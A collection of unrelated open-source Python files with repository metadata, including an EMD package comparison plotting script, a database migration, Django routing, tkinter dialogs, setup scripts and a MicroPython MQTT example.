plt.gcf().get_size_inches() factor = 0.8 plt.gcf().set_size_inches((figure_size[0], factor * figure_size[1])) axs[0].plot(t, emd_duff[1, :], label='AdvEMDpy') axs[0].plot(t, py_emd[0, :], '--', label='PyEMD 0.2.10') axs[0].plot(t, emd_sift[:, 0], '--', label='emd 0.3.3') axs[0].set_title('IMF 1') axs[0].set_ylim([-2, 2]) axs[0].set_xlim([0, 150]) axs[1].plot(t, emd_duff[2, :], label='AdvEMDpy') print(f'AdvEMDpy driving function error: {np.round(sum(abs(0.1 * np.cos(0.04 * 2 * np.pi * t) - emd_duff[2, :])), 3)}') axs[1].plot(t, py_emd[1, :], '--', label='PyEMD 0.2.10') print(f'PyEMD driving function error: {np.round(sum(abs(0.1 * np.cos(0.04 * 2 * np.pi * t) - py_emd[1, :])), 3)}') axs[1].plot(t, emd_sift[:, 1], '--', label='emd 0.3.3') print(f'emd driving function error: {np.round(sum(abs(0.1 * np.cos(0.04 * 2 * np.pi * t) - emd_sift[:, 1])), 3)}') axs[1].plot(t, 0.1 * np.cos(0.04 * 2 * np.pi * t), '--', label=r'$0.1$cos$(0.08{\pi}t)$') axs[1].set_title('IMF 2') axs[1].set_ylim([-0.2, 0.4]) axs[1].set_xlim([0, 150]) axis = 0 for ax in axs.flat: ax.label_outer() if axis == 0: ax.set_ylabel(r'$\gamma_1(t)$') ax.set_yticks([-2, 0, 2]) if axis == 1: ax.set_ylabel(r'$\gamma_2(t)$') ax.set_yticks([-0.2, 0, 0.2]) box_0 = ax.get_position() ax.set_position([box_0.x0, box_0.y0, box_0.width * 0.85, box_0.height]) ax.legend(loc='center left', bbox_to_anchor=(1, 0.5), fontsize=8) ax.set_xticks(x_points) ax.set_xticklabels(x_names) axis += 1 plt.savefig('jss_figures/Duffing_equation_imfs.png') plt.show() hs_ouputs = hilbert_spectrum(t, emd_duff, emd_ht_duff, emd_if_duff, max_frequency=1.3, plot=False) ax = plt.subplot(111) plt.title(textwrap.fill('Gaussian Filtered Hilbert Spectrum of Duffing Equation using AdvEMDpy', 40)) x, y, z = hs_ouputs y = y / (2 * np.pi) z_min, z_max = 0, np.abs(z).max() figure_size = plt.gcf().get_size_inches() factor = 1.0 plt.gcf().set_size_inches((figure_size[0], factor * figure_size[1])) ax.pcolormesh(x, y, np.abs(z), cmap='gist_rainbow', vmin=z_min, vmax=z_max) plt.plot(t[:-1], 0.124 * np.ones_like(t[:-1]), '--', label=textwrap.fill('Hamiltonian frequency approximation', 15)) plt.plot(t[:-1], 0.04 * np.ones_like(t[:-1]), 'g--', label=textwrap.fill('Driving function frequency', 15)) plt.xticks([0, 50, 100, 150]) plt.yticks([0, 0.1, 0.2]) plt.ylabel('Frequency (Hz)') plt.xlabel('Time (s)') box_0 = ax.get_position() ax.set_position([box_0.x0, box_0.y0 + 0.05, box_0.width * 0.75, box_0.height * 0.9]) ax.legend(loc='center left', bbox_to_anchor=(1, 0.5)) plt.savefig('jss_figures/Duffing_equation_ht.png') plt.show() # Carbon Dioxide Concentration Example CO2_data = pd.read_csv('Data/co2_mm_mlo.csv', header=51) plt.plot(CO2_data['month'], CO2_data['decimal date']) plt.title(textwrap.fill('Mean Monthly Concentration of Carbon Dioxide in the Atmosphere', 35)) plt.ylabel('Parts per million') plt.xlabel('Time (years)') plt.savefig('jss_figures/CO2_concentration.png') plt.show() signal = CO2_data['decimal date'] signal = np.asarray(signal) time = CO2_data['month'] time = np.asarray(time) # compare other packages Carbon Dioxide - top pyemd = pyemd0215() py_emd = pyemd(signal) IP, IF, IA = emd040.spectra.frequency_transform(py_emd[:2, :].T, 12, 'hilbert') print(f'PyEMD annual frequency error: {np.round(sum(np.abs(IF[:, 0] - np.ones_like(IF[:, 0]))), 3)}') freq_edges, freq_bins = emd040.spectra.define_hist_bins(0, 2, 100) hht = emd040.spectra.hilberthuang(IF, IA, freq_edges) hht = gaussian_filter(hht, sigma=1) fig, ax = plt.subplots() figure_size = plt.gcf().get_size_inches() factor = 0.8 plt.gcf().set_size_inches((figure_size[0], factor * figure_size[1])) plt.title(textwrap.fill('Gaussian Filtered Hilbert Spectrum of CO$_{2}$ Concentration using PyEMD 0.2.10', 45)) plt.ylabel('Frequency (year$^{-1}$)') plt.xlabel('Time (years)') plt.pcolormesh(time, freq_bins, hht, cmap='gist_rainbow', vmin=0, vmax=np.max(np.max(np.abs(hht)))) plt.plot(time, np.ones_like(time), 'k--', label=textwrap.fill('Annual cycle', 10)) box_0 = ax.get_position() ax.set_position([box_0.x0 + 0.0125, box_0.y0 + 0.075, box_0.width * 0.8, box_0.height * 0.9]) ax.legend(loc='center left', bbox_to_anchor=(1, 0.5)) plt.savefig('jss_figures/CO2_Hilbert_pyemd.png') plt.show() emd_sift = emd040.sift.sift(signal) IP, IF, IA = emd040.spectra.frequency_transform(emd_sift[:, :1], 12, 'hilbert') print(f'emd annual frequency error: {np.round(sum(np.abs(IF - np.ones_like(IF)))[0], 3)}') freq_edges, freq_bins = emd040.spectra.define_hist_bins(0, 2, 100) hht = emd040.spectra.hilberthuang(IF, IA, freq_edges) hht = gaussian_filter(hht, sigma=1) fig, ax = plt.subplots() figure_size = plt.gcf().get_size_inches() factor = 0.8 plt.gcf().set_size_inches((figure_size[0], factor * figure_size[1])) plt.title(textwrap.fill('Gaussian Filtered Hilbert Spectrum of CO$_{2}$ Concentration using emd 0.3.3', 45)) plt.ylabel('Frequency (year$^{-1}$)') plt.xlabel('Time (years)') plt.pcolormesh(time, freq_bins, hht, cmap='gist_rainbow', vmin=0, vmax=np.max(np.max(np.abs(hht)))) plt.plot(time, np.ones_like(time), 'k--', label=textwrap.fill('Annual cycle', 10)) box_0 = ax.get_position() ax.set_position([box_0.x0 + 0.0125, box_0.y0 + 0.075, box_0.width * 0.8, box_0.height * 0.9]) ax.legend(loc='center left', bbox_to_anchor=(1, 0.5)) plt.savefig('jss_figures/CO2_Hilbert_emd.png') plt.show() # compare other packages Carbon Dioxide - bottom knots = np.linspace(time[0], time[-1], 200) emd_example = AdvEMDpy.EMD(time=time, time_series=signal) imfs, hts, ifs, _, _, _, _ = \ emd_example.empirical_mode_decomposition(knots=knots, knot_time=time, verbose=False) print(f'AdvEMDpy annual frequency error: {np.round(sum(np.abs(ifs[1, :] / (2 * np.pi) - np.ones_like(ifs[1, :]))), 3)}') fig, axs = plt.subplots(2, 2) plt.subplots_adjust(hspace=0.5) axs[0, 0].plot(time, signal) axs[0, 1].plot(time, signal) axs[0, 1].plot(time, imfs[0, :], label='Smoothed') axs[0, 1].legend(loc='lower right') axs[1, 0].plot(time, imfs[1, :]) axs[1, 1].plot(time, imfs[2, :]) axis = 0 for ax in axs.flat: if axis == 0: ax.set(ylabel=R'C0$_2$ concentration') if axis == 1: pass if axis == 2: ax.set(ylabel=R'C0$_2$ concentration') ax.set(xlabel='Time (years)') if axis == 3: ax.set(xlabel='Time (years)') axis += 1 plt.gcf().subplots_adjust(bottom=0.15) axs[0, 0].set_title(r'Original CO$_2$ Concentration') axs[0, 1].set_title('Smoothed CO$_2$ Concentration') axs[1, 0].set_title('IMF 1') axs[1, 1].set_title('Residual') plt.gcf().subplots_adjust(bottom=0.15) plt.savefig('jss_figures/CO2_EMD.png') plt.show() hs_ouputs = hilbert_spectrum(time, imfs, hts, ifs, max_frequency=10, which_imfs=[1], plot=False) x_hs, y, z = hs_ouputs y = y / (2 * np.pi) z_min, z_max = 0, np.abs(z).max() fig, ax = plt.subplots() figure_size = plt.gcf().get_size_inches() factor = 0.7 plt.gcf().set_size_inches((figure_size[0], factor * figure_size[1])) ax.pcolormesh(x_hs, y, np.abs(z), cmap='gist_rainbow', vmin=z_min, vmax=z_max) ax.set_title(textwrap.fill(r'Gaussian Filtered Hilbert Spectrum of CO$_{2}$ Concentration using AdvEMDpy', 40)) plt.ylabel('Frequency (year$^{-1}$)') plt.xlabel('Time (years)') plt.plot(x_hs[0, :], np.ones_like(x_hs[0, :]), 'k--', label=textwrap.fill('Annual cycle', 10)) ax.axis([x_hs.min(), x_hs.max(), y.min(), y.max()]) box_0 = ax.get_position() ax.set_position([box_0.x0 + 0.0125, box_0.y0 + 0.075, box_0.width * 0.8, box_0.height * 0.9]) ax.legend(loc='center left', bbox_to_anchor=(1, 0.5)) plt.savefig('jss_figures/CO2_Hilbert.png') plt.show()

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6adeb529cfb4e14bdceab8619cd0e9f75dad5fb6

615

py

Python

migrations/versions/0158_remove_rate_limit_default.py

cds-snc/notifier-api

90b385ec49efbaee7e607516fc7d9f08991af813

[ "MIT" ]

41

2019-11-28T16:58:41.000Z

2022-01-28T21:11:16.000Z

migrations/versions/0158_remove_rate_limit_default.py

cds-snc/notification-api

b1c1064f291eb860b494c3fa65ac256ad70bf47c

[ "MIT" ]

1,083

2019-07-08T12:57:24.000Z

2022-03-08T18:53:40.000Z

migrations/versions/0158_remove_rate_limit_default.py

cds-snc/notifier-api

90b385ec49efbaee7e607516fc7d9f08991af813

[ "MIT" ]

9

2020-01-24T19:56:43.000Z

2022-01-27T21:36:53.000Z

""" Revision ID: 0158_remove_rate_limit_default Revises: 0157_add_rate_limit_to_service Create Date: 2018-01-09 14:33:08.313893 """ import sqlalchemy as sa from alembic import op revision = "0158_remove_rate_limit_default" down_revision = "0157_add_rate_limit_to_service" def upgrade(): op.execute("ALTER TABLE services ALTER rate_limit DROP DEFAULT") op.execute("ALTER TABLE services_history ALTER rate_limit DROP DEFAULT") def downgrade(): op.execute("ALTER TABLE services ALTER rate_limit SET DEFAULT '3000'") op.execute("ALTER TABLE services_history ALTER rate_limit SET DEFAULT '3000'")

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null

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1

6ae016a3900fe6ed337451d458c99fc65e3be76f

888

py

Python

backend/core/api_urls.py

albeiks/omaralbeik.com

8d096130393919612863aac6280dffaf6e00961d

[ "MIT" ]

10

2020-05-05T16:20:04.000Z

2021-07-22T15:15:13.000Z

backend/core/api_urls.py

albeiks/omaralbeik.com

8d096130393919612863aac6280dffaf6e00961d

[ "MIT" ]

null

backend/core/api_urls.py

albeiks/omaralbeik.com

8d096130393919612863aac6280dffaf6e00961d

[ "MIT" ]

1

2020-05-06T22:31:48.000Z

from django.conf.urls import url, include from core.routers import OptionalTrailingSlashRouter from blog import views as blogViews from snippets import views as snippetsViews from projects import views as projectsViews from tags import views as tagsViews from contents import views as contentsViews from contact import views as contactViews router = OptionalTrailingSlashRouter() router.register(r"blog", blogViews.PostViewSet) router.register(r"snippets", snippetsViews.SnippetViewSet) router.register(r"languages", snippetsViews.ProgrammingLanguageViewSet) router.register(r"projects", projectsViews.ProjectViewSet) router.register(r"tags", tagsViews.TagViewSet) router.register(r"contents", contentsViews.ContentViewSet) router.register(r"contact", contactViews.MessageViewSet) # List or url patterns for the api subdomain urlpatterns = [ url(r"^v2/", include(router.urls)), ]

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0a77fdb1c15169709a632c8652ce9cffd62abd68

491

py

Python

jnpy/experiments/Qt/pyqtgraph_tutorial/codeloop_org_materials/c4_drawing_curves.py

jojoquant/jnpy

c874060af4b129ae09cee9f8542517b7b2f6573b

[ "MIT" ]

5

2020-05-19T07:32:39.000Z

2022-03-14T09:09:48.000Z

jnpy/experiments/Qt/pyqtgraph_tutorial/codeloop_org_materials/c4_drawing_curves.py

jojoquant/jnpy

c874060af4b129ae09cee9f8542517b7b2f6573b

[ "MIT" ]

null

jnpy/experiments/Qt/pyqtgraph_tutorial/codeloop_org_materials/c4_drawing_curves.py

jojoquant/jnpy

c874060af4b129ae09cee9f8542517b7b2f6573b

[ "MIT" ]

3

2020-04-02T08:30:17.000Z

2020-05-03T12:12:05.000Z

# !/usr/bin/env python3 # -*- coding:utf-8 -*- # @Datetime : 2019/11/14 上午2:26 # @Author : Fangyang # @Software : PyCharm import sys from PyQt5.QtWidgets import QApplication import pyqtgraph as pg import numpy as np app = QApplication(sys.argv) x = np.arange(1000) y = np.random.normal(size=(3, 1000)) plotWidget = pg.plot(title='Three plot curves') for i in range(3): plotWidget.plot(x, y[i], pen=(i, 3)) status = app.exec_() sys.exit(status) if __name__ == '__main__': pass

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1

0a7f1dd168a64e7f7f19d3324731c892ec275922

1,845

py

Python

patch.py

silverhikari/romtools

2a09290fef85f35502a95c5c2874317029f0439c

[ "Apache-2.0" ]

5

2018-02-02T06:36:56.000Z

2020-12-21T20:17:20.000Z

patch.py

silverhikari/romtools

2a09290fef85f35502a95c5c2874317029f0439c

[ "Apache-2.0" ]

8

2017-10-10T17:50:47.000Z

2021-06-02T00:02:58.000Z

patch.py

silverhikari/romtools

2a09290fef85f35502a95c5c2874317029f0439c

[ "Apache-2.0" ]

2

2017-10-10T20:15:24.000Z

2021-12-17T04:50:16.000Z

""" Utils for creating xdelta patches. """ import logging from subprocess import check_output, CalledProcessError from shutil import copyfile from os import remove, path class PatchChecksumError(Exception): def __init__(self, message, errors): super(PatchChecksumError, self).__init__(message) class Patch: # TODO: Abstract out the need for "edited" by just copying the original # file. def __init__(self, original, filename, edited=None, xdelta_dir='.'): self.original = original self.edited = edited self.filename = filename # Need to have this absolute path for xdelta3 to be found. self.xdelta_path = path.join(xdelta_dir, 'xdelta3') # self.xdelta_path = 'xdelta3' def create(self): if self.edited is None: raise Exception cmd = [ self.xdelta_path, '-f', '-s', self.original, self.edited, self.filename, ] print(cmd) logging.info(cmd) try: check_output(cmd) except CalledProcessError as e: raise Exception(e.output) def apply(self): if not self.edited: copyfile(self.original, self.original + "_temp") self.edited = self.original self.original = self.original + "_temp" cmd = [ self.xdelta_path, '-f', '-d', '-s', self.original, self.filename, self.edited, ] logging.info(cmd) try: check_output(cmd) except CalledProcessError: raise PatchChecksumError('Target file had incorrect checksum', []) finally: if self.original.endswith('_temp'): remove(self.original)

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null

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1

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1

0a8741dde6ef103d06812289a7da5d5ee4748c1d

2,427

py

Python

src/tkdialog/dialog.py

KosukeMizuno/tkdialog

082fc106908bbbfa819d1a129929165f11d4e944

[ "MIT" ]

null

src/tkdialog/dialog.py

KosukeMizuno/tkdialog

082fc106908bbbfa819d1a129929165f11d4e944

[ "MIT" ]

null

src/tkdialog/dialog.py

KosukeMizuno/tkdialog

082fc106908bbbfa819d1a129929165f11d4e944

[ "MIT" ]

null

from pathlib import Path import pickle import tkinter as tk import tkinter.filedialog def open_dialog(**opt): """Parameters ---------- Options will be passed to `tkinter.filedialog.askopenfilename`. See also tkinter's document. Followings are example of frequently used options. - filetypes=[(label, ext), ...] - label: str - ext: str, semicolon separated extentions - initialdir: str, default Path.cwd() - multiple: bool, default False Returns -------- filename, str """ root = tk.Tk() root.withdraw() root.wm_attributes("-topmost", True) opt_default = dict(initialdir=Path.cwd()) _opt = dict(opt_default, **opt) return tk.filedialog.askopenfilename(**_opt) def saveas_dialog(**opt): """Parameters ---------- Options will be passed to `tkinter.filedialog.asksaveasfilename`. See also tkinter's document. Followings are example of frequently used options. - filetypes=[(label, ext), ...] - label: str - ext: str, semicolon separated extentions - initialdir: str, default Path.cwd() - initialfile: str, default isn't set Returns -------- filename, str """ root = tk.Tk() root.withdraw() root.wm_attributes("-topmost", True) opt_default = dict(initialdir=Path.cwd()) _opt = dict(opt_default, **opt) return tk.filedialog.asksaveasfilename(**_opt) def load_pickle_with_dialog(mode='rb', **opt): """Load a pickled object with a filename assigned by tkinter's open dialog. kwargs will be passed to saveas_dialog. """ opt_default = dict(filetypes=[('pickled data', '*.pkl'), ('all', '*')]) _opt = dict(opt_default, **opt) fn = open_dialog(**_opt) if fn == '': # canceled return None with Path(fn).open(mode) as f: data = pickle.load(f) return data def dump_pickle_with_dialog(obj, mode='wb', **opt): """Pickle an object with a filename assigned by tkinter's saveas dialog. kwargs will be passed to saveas_dialog. Returns -------- filename: str """ opt_default = dict(filetypes=[('pickled data', '*.pkl'), ('all', '*')]) _opt = dict(opt_default, **opt) fn = saveas_dialog(**_opt) if fn == '': # canceled return '' # note: 上書き確認はtkinterがやってくれるのでここではチェックしない with Path(fn).open(mode) as f: pickle.dump(obj, f) return fn

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0.622167

291

2,427

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0.054054

0.032432

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0.648649

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0

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2,427

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false

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0.388889

0

null

0

1

0

null

0

1

0a89d9e3455e77e62d24b044c32fc90cbc464fc1

368

py

Python

setup.py

SilicalNZ/canvas

44d1eee02c334aae6b41aeba01ed0ecdf83aed21

[ "MIT" ]

7

2019-08-04T20:37:55.000Z

2020-03-05T08:36:10.000Z

setup.py

SilicalNZ/canvas

44d1eee02c334aae6b41aeba01ed0ecdf83aed21

[ "MIT" ]

1

2019-10-21T05:43:28.000Z

setup.py

SilicalNZ/canvas

44d1eee02c334aae6b41aeba01ed0ecdf83aed21

[ "MIT" ]

null

import setuptools setuptools.setup( name = 'sili-canvas', version = '0.0.1', license = 'MIT', url = 'https://github.com/SilicalNZ/canvas', description = 'A series of easy to use classes to perform complex 2D array transformations', long_description = '', author = 'SilicalNZ', packages = ['canvas', 'canvas.common', 'canvas.tools'] )

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368

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368

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0.090909

0

null

0

null

0

1

0

1

0a8b4fc2b42148f674fa2146ee9800ea9e96f927

2,614

py

Python

surname_rnn/surname/containers.py

sudarshan85/nlpbook

41e59d706fb31f5185a0133789639ccffbddb41f

[ "Apache-2.0" ]

null

surname_rnn/surname/containers.py

sudarshan85/nlpbook

41e59d706fb31f5185a0133789639ccffbddb41f

[ "Apache-2.0" ]

null

surname_rnn/surname/containers.py

sudarshan85/nlpbook

41e59d706fb31f5185a0133789639ccffbddb41f

[ "Apache-2.0" ]

null

#!/usr/bin/env python import pandas as pd from pathlib import Path from torch.utils.data import DataLoader class ModelContainer(object): def __init__(self, model, optimizer, loss_fn, scheduler=None): self.model = model self.optimizer = optimizer self.loss_fn = loss_fn self.scheduler = scheduler class DataContainer(object): def __init__(self, df_with_split: pd.DataFrame, dataset_class, vectorizer_file: Path, batch_size: int, with_test=True, is_load: bool=True) -> None: self.train_df = df_with_split.loc[df_with_split['split'] == 'train'] self.val_df = df_with_split.loc[df_with_split['split'] == 'val'] self._bs = batch_size self.with_test = with_test self.is_load = is_load self._lengths = {'train_size': len(self.train_df), 'val_size': len(self.val_df)} self._n_batches = [self._lengths['train_size'] // self._bs, self._lengths['val_size'] // self._bs] if not self.is_load: print("Creating and saving vectorizer") train_ds = dataset_class.load_data_and_create_vectorizer(self.train_df) train_ds.save_vectorizer(vectorizer_file) self.train_ds = dataset_class.load_data_and_vectorizer_from_file(self.train_df, vectorizer_file) self.vectorizer = self.train_ds.vectorizer self.surname_vocab = self.vectorizer.surname_vocab self.nationality_vocab = self.vectorizer.nationality_vocab self.train_dl = DataLoader(self.train_ds, self._bs, shuffle=True, drop_last=True) self.val_ds = dataset_class.load_data_and_vectorizer(self.val_df, self.vectorizer) self.val_dl = DataLoader(self.val_ds, self._bs, shuffle=True, drop_last=True) if self.with_test: self.test_df = df_with_split.loc[df_with_split['split'] == 'test'] self._lengths['test_size'] = len(self.test_df) self._n_batches.append(self._lengths['test_size'] // self._bs) self.test_ds = dataset_class.load_data_and_vectorizer(self.test_df, self.vectorizer) self.test_dl = DataLoader(self.test_ds, self._bs, shuffle=True, drop_last=True) def get_loaders(self): return self.train_dl, self.val_dl, self.test_dl @property def train_batches(self): return self._n_batches[0] @property def val_batches(self): return self._n_batches[1] @property def test_batches(self): if not self.with_test: raise NameError("No test dataset was provided") return self._n_batches[2] @property def vocab_size(self): return len(self.surname_vocab) @property def n_classes(self): return len(self.nationality_vocab) @property def sizes(self): return self._lengths

33.512821

100

0.729533

389

2,614

4.570694

0.210797

0.045557

0.043307

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0.22216

0.189539

0.150169

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0

0.001366

0.159908

2,614

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101

33.948052

0.808288

0.007651

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0.053627

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1

0.152542

false

0

0.050847

0.101695

0.355932

0.016949

0

null

0

null

0

1

0

1

0a95cfa206f2acf8636e2a3399ef4362d43aa15a

3,092

py

Python

pybm/commands/compare.py

nicholasjng/pybm

13e256ca5c2c8239f9d611b9849dab92f70b2834

[ "Apache-2.0" ]

12

2021-10-10T20:00:07.000Z

2022-02-09T11:29:07.000Z

pybm/commands/compare.py

nicholasjng/pybm

13e256ca5c2c8239f9d611b9849dab92f70b2834

[ "Apache-2.0" ]

20

2021-10-13T09:37:20.000Z

2022-03-07T15:14:00.000Z

pybm/commands/compare.py

nicholasjng/pybm

13e256ca5c2c8239f9d611b9849dab92f70b2834

[ "Apache-2.0" ]

1

2022-02-09T10:09:41.000Z

from typing import List from pybm import PybmConfig from pybm.command import CLICommand from pybm.config import get_reporter_class from pybm.exceptions import PybmError from pybm.reporters import BaseReporter from pybm.status_codes import ERROR, SUCCESS from pybm.util.path import get_subdirs class CompareCommand(CLICommand): """ Report benchmark results from specified sources. """ usage = "pybm compare <run> <anchor-ref> <compare-refs> [<options>]\n" def __init__(self): super(CompareCommand, self).__init__(name="compare") self.config = PybmConfig.load() def add_arguments(self): self.parser.add_argument( "run", type=str, metavar="<run>", help="Benchmark run to report results for. " "To report the preceding run, use the " '"latest" keyword. To report results ' "of the n-th preceding run " "(i.e., n runs ago), " 'use the "latest^{n}" syntax.', ) self.parser.add_argument( "refs", nargs="+", metavar="<refs>", help="Benchmarked refs to compare. The first " "given ref will be treated as the " "anchor ref, relative to which all " "differences are reported. An error is " "raised if any of the given " "refs are not present in the run.", ) reporter: BaseReporter = get_reporter_class(config=self.config) reporter_args = reporter.additional_arguments() if reporter_args: reporter_name = self.config.get_value("reporter.name") reporter_group_desc = ( f"Additional options from configured reporter class {reporter_name!r}" ) reporter_group = self.parser.add_argument_group(reporter_group_desc) # add builder-specific options into the group for arg in reporter_args: reporter_group.add_argument(arg.pop("flags"), **arg) def run(self, args: List[str]) -> int: if not args: self.parser.print_help() return ERROR self.add_arguments() options = self.parser.parse_args(args) reporter: BaseReporter = get_reporter_class(config=self.config) # TODO: Parse run to fit schema run = options.run refs: List[str] = options.refs result_dir = reporter.result_dir # TODO: Make this dynamic to support other run identifiers result = sorted(get_subdirs(result_dir))[-1] result_path = result_dir / result if result_path.exists(): reporter.compare( *refs, result=result, target_filter=options.target_filter, benchmark_filter=options.benchmark_filter, context_filter=options.context_filter, ) else: raise PybmError( f"No benchmark results found for the requested run {run!r}." ) return SUCCESS

32.893617

86

0.597025

351

3,092

5.11396

0.361823

0.031198

0.026741

0.035097

0.057939

0

0.000474

0.317917

3,092

93

87

33.247312

0.85064

0.058215

0

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0

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0

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0

1

0.042254

false

0

0.112676

0

0.211268

0.014085

0

null

0

null

0

1

0

1

0a96a8a9570ed3b24a4bfee94944da9262d1bde3

449

py

Python

setup.py

nopipifish/bert4keras

d8fd065b9b74b8a82b381b7183f9934422e4caa9

[ "Apache-2.0" ]

1

2020-09-09T02:34:28.000Z

setup.py

nopipifish/bert4keras

d8fd065b9b74b8a82b381b7183f9934422e4caa9

[ "Apache-2.0" ]

null

setup.py

nopipifish/bert4keras

d8fd065b9b74b8a82b381b7183f9934422e4caa9

[ "Apache-2.0" ]

null

#! -*- coding: utf-8 -*- from setuptools import setup, find_packages setup( name='bert4keras', version='0.8.4', description='an elegant bert4keras', long_description='bert4keras: https://github.com/bojone/bert4keras', license='Apache License 2.0', url='https://github.com/bojone/bert4keras', author='bojone', author_email='bojone@spaces.ac.cn', install_requires=['keras<=2.3.1'], packages=find_packages() )

26.411765

72

0.674833

56

449

5.321429

0.642857

0.080537

0.09396

0.134228

0.201342

0

0.036842

0.153675

449

16

73

28.0625

0.747368

0.051225

0

0.411765

0

1

0

true

0

0.076923

0

0.076923

0

null

0

null

0

1

0

1

0a98cfd9f20dfc0c1b38e64c743a29230c7a8c4f

195

py

Python

whoPay.py

susurigirl/susuri

cec96cc9abd5a25762e15db27c17e70a95ae874c

[ "MIT" ]

null

whoPay.py

susurigirl/susuri

cec96cc9abd5a25762e15db27c17e70a95ae874c

[ "MIT" ]

null

whoPay.py

susurigirl/susuri

cec96cc9abd5a25762e15db27c17e70a95ae874c

[ "MIT" ]

null

import random names_string = input("내기를 할 친구들의 이름을 적습니다. 콤마(,)로 분리해서 적습니다.\n") names = names_string.split(",") print(names) n = random.randint(0, len(names)) print(f"오늘 커피는 {names[n]}가 쏩니다!")

19.5

64

0.676923

35

195

3.714286

0.685714

0.169231

0

0.005952

0.138462

195

9

65

21.666667

0.767857

0

0.328205

0

1

0

false

0

0.166667

0

0.166667

0.333333

0

null

0

1

0

null

0

1

0a99a93e656914b21bfd27861c1447d786a91bee

2,929

py

Python

MicroPython_BUILD/components/micropython/esp32/modules_examples/mqtt_example.py

FlorianPoot/MicroPython_ESP32_psRAM_LoBo

fff2e193d064effe36a7d456050faa78fe6280a8

[ "Apache-2.0" ]

838

2017-07-14T10:08:13.000Z

2022-03-22T22:09:14.000Z

MicroPython_BUILD/components/micropython/esp32/modules_examples/mqtt_example.py

FlorianPoot/MicroPython_ESP32_psRAM_LoBo

fff2e193d064effe36a7d456050faa78fe6280a8

[ "Apache-2.0" ]

395

2017-08-18T15:56:17.000Z

2022-03-20T11:28:23.000Z

MicroPython_BUILD/components/micropython/esp32/modules_examples/mqtt_example.py

FlorianPoot/MicroPython_ESP32_psRAM_LoBo

fff2e193d064effe36a7d456050faa78fe6280a8

[ "Apache-2.0" ]

349

2017-09-02T18:00:23.000Z

2022-03-31T23:26:22.000Z

import network def conncb(task): print("[{}] Connected".format(task)) def disconncb(task): print("[{}] Disconnected".format(task)) def subscb(task): print("[{}] Subscribed".format(task)) def pubcb(pub): print("[{}] Published: {}".format(pub[0], pub[1])) def datacb(msg): print("[{}] Data arrived from topic: {}, Message:\n".format(msg[0], msg[1]), msg[2]) mqtt = network.mqtt("loboris", "mqtt://loboris.eu", user="wifimcu", password="wifimculobo", cleansession=True, connected_cb=conncb, disconnected_cb=disconncb, subscribed_cb=subscb, published_cb=pubcb, data_cb=datacb) # secure connection requires more memory and may not work # mqtts = network.mqtt("eclipse", "mqtts//iot.eclipse.org", cleansession=True, connected_cb=conncb, disconnected_cb=disconncb, subscribed_cb=subscb, published_cb=pubcb, data_cb=datacb) # wsmqtt = network.mqtt("eclipse", "ws://iot.eclipse.org:80/ws", cleansession=True, data_cb=datacb) mqtt.start() #mqtt.config(lwt_topic='status', lwt_msg='Disconected') ''' # Wait until status is: (1, 'Connected') mqtt.subscribe('test') mqtt.publish('test', 'Hi from Micropython') mqtt.stop() ''' # ================== # ThingSpeak example # ================== import network def datacb(msg): print("[{}] Data arrived from topic: {}, Message:\n".format(msg[0], msg[1]), msg[2]) thing = network.mqtt("thingspeak", "mqtt://mqtt.thingspeak.com", user="anyName", password="ThingSpeakMQTTid", cleansession=True, data_cb=datacb) # or secure connection #thing = network.mqtt("thingspeak", "mqtts://mqtt.thingspeak.com", user="anyName", password="ThingSpeakMQTTid", cleansession=True, data_cb=datacb) thingspeakChannelId = "123456" # enter Thingspeak Channel ID thingspeakChannelWriteApiKey = "ThingspeakWriteAPIKey" # EDIT - enter Thingspeak Write API Key thingspeakFieldNo = 1 thingSpeakChanelFormat = "json" pubchan = "channels/{:s}/publish/{:s}".format(thingspeakChannelId, thingspeakChannelWriteApiKey) pubfield = "channels/{:s}/publish/fields/field{}/{:s}".format(thingspeakChannelId, thingspeakFieldNo, thingspeakChannelWriteApiKey) subchan = "channels/{:s}/subscribe/{:s}/{:s}".format(thingspeakChannelId, thingSpeakChanelFormat, thingspeakChannelWriteApiKey) subfield = "channels/{:s}/subscribe/fields/field{}/{:s}".format(thingspeakChannelId, thingspeakFieldNo, thingspeakChannelWriteApiKey) thing.start() tmo = 0 while thing.status()[0] != 2: utime.sleep_ms(100) tmo += 1 if tmo > 80: print("Not connected") break # subscribe to channel thing.subscribe(subchan) # subscribe to field thing.subscribe(subfield) # publish to channel # Payload can include any of those fields separated b< ';': # "field1=value;field2=value;...;field8=value;latitude=value;longitude=value;elevation=value;status=value" thing.publish(pubchan, "field1=25.2;status=On line") # Publish to field thing.publish(pubfield, "24.5")

33.284091

216

0.712188

347

2,929

5.965418

0.357349

0.02657

0.028986

0.031884

0.329469

0.315942

0.236715

0

0.01428

0.115398

2,929

87

217

33.666667

0.784639

0.313418

0

0.162162

0

0.252552

0.11338

0

1

0.162162

false

0.054054

0

0.216216

0.189189

0

null

0

null

0

1

0

1

0a9deb518dd12c6a3961ce613b76fcc3db2acd68

602

py

Python

algorithm_training/abc87.py

hirotosuzuki/algorithm_training

3134bad4ea2ea57a77e05be6f21ba776a558f520

[ "MIT" ]

null

algorithm_training/abc87.py

hirotosuzuki/algorithm_training

3134bad4ea2ea57a77e05be6f21ba776a558f520

[ "MIT" ]

null

algorithm_training/abc87.py

hirotosuzuki/algorithm_training

3134bad4ea2ea57a77e05be6f21ba776a558f520

[ "MIT" ]

null

class TaskA: def run(self): V, A, B, C = map(int, input().split()) pass class TaskB: def run(self): A = int(input()) B = int(input()) C = int(input()) X = int(input()) counter = 0 for a in range(A+1): for b in range(B+1): for c in range(C+1): total = 500 * a + 100 * b + 50 * c if total == X: counter += 1 print(counter) class TaskC: def run(self): pass if __name__ == "__main__": task = TaskB() task.run()

21.5

54

0.413621

78

602

3.089744

0.410256

0.165975

0.124481

0

0.039394

0.451827

602

28

55

21.5

0.690909

0

0.208333

0

0.013267

0

1

0.125

false

0.083333

0

0.25

0.041667

0

null

0

null

0

1

0

1

0aaa92e8b56443a2b167621484f9881042d7391b

983

py

Python

ProgramFlow/functions/banner.py

kumarvgit/python3

318c5e7503fafc9c60082fa123e2930bd82a4ec9

[ "MIT" ]

null

ProgramFlow/functions/banner.py

kumarvgit/python3

318c5e7503fafc9c60082fa123e2930bd82a4ec9

[ "MIT" ]

null

ProgramFlow/functions/banner.py

kumarvgit/python3

318c5e7503fafc9c60082fa123e2930bd82a4ec9

[ "MIT" ]

null

